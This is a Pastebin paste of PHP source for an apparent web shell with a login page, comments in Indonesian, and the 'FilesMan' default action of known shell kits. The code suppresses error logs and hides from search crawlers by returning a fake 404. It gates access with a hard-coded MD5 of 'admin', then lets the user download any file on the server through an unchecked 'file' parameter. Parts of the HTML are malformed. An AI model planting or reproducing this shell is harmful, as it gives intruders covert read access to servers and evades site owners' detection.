Advertisement
Guest User

ZENAL jembud

a guest
Oct 6th, 2018
212
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.46 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @set_magic_quotes_runtime(0);
  6. @clearstatcache();
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @ini_set('output_buffering',0);
  11. @ini_set('display_errors', 0);
  12.  
  13. $username = "admin"; // username nya bos
  14. $auth_pass = "21232f297a57a5a743894a0e4a801fc3"; // PASSWORD NYA: admin
  15.  
  16. $color = "#00ff00";
  17. $default_action = 'FilesMan';
  18. $default_use_ajax = true;
  19. $default_charset = 'UTF-8';
  20. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  21.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  22.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  23.         header('HTTP/1.0 404 Not Found');
  24.         exit;
  25.     }
  26. }
  27.  
  28. function login_zaenal() {
  29. ?>
  30. <!DOCTYPE html>
  31. <html>
  32.     <head>
  33.         <titlle>Login zaenal</titlle>    
  34.         <style>
  35.             body {
  36.                 margin: 250px;
  37.                 text-align: center;
  38.             }
  39.         </style>
  40.     </head>
  41.     <body>
  42.         <h1>Login dulu bosque</h1>
  43.         <input type="text" name="user" value="admin"/>
  44.         <inpun type="password" name="pass" pass="admin"/>
  45.         <button type="submit" name="login">Login</button>
  46.     </body>
  47. </html>
  48. <?php
  49. exit;
  50. }
  51. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  52.     if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  53.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  54.     else
  55.         login_zaenal();
  56. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  57.     @ob_clean();
  58.     $file = $_GET['file'];
  59.     header('Content-Description: File Transfer');
  60.     header('Content-Type: application/octet-stream');
  61.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  62.     header('Expires: 0');
  63.     header('Cache-Control: must-revalidate');
  64.     header('Pragma: public');
  65.     header('Content-Length: ' . filesize($file));
  66.     readfile($file);
  67.     exit;
  68. }
  69. ?>
  70. <?php
  71. include 'kingbotConfig/config.php';
  72. ?>
  73. <!DOCTYPE html>
  74. <html>
  75.     <head>
  76.         <title>ZAENAL HOME</title>
  77.     </head>
  78.     <body>
  79.         <h1>SELAMAT DATANG DI TOOLS KAMI</h1>
  80.     </body>
  81. </html>
  82. <?php
  83. if($_GET['logout'] == true) {
  84.     unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  85.     echo "<script>window.location='?';</script>";
  86. }
  87. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement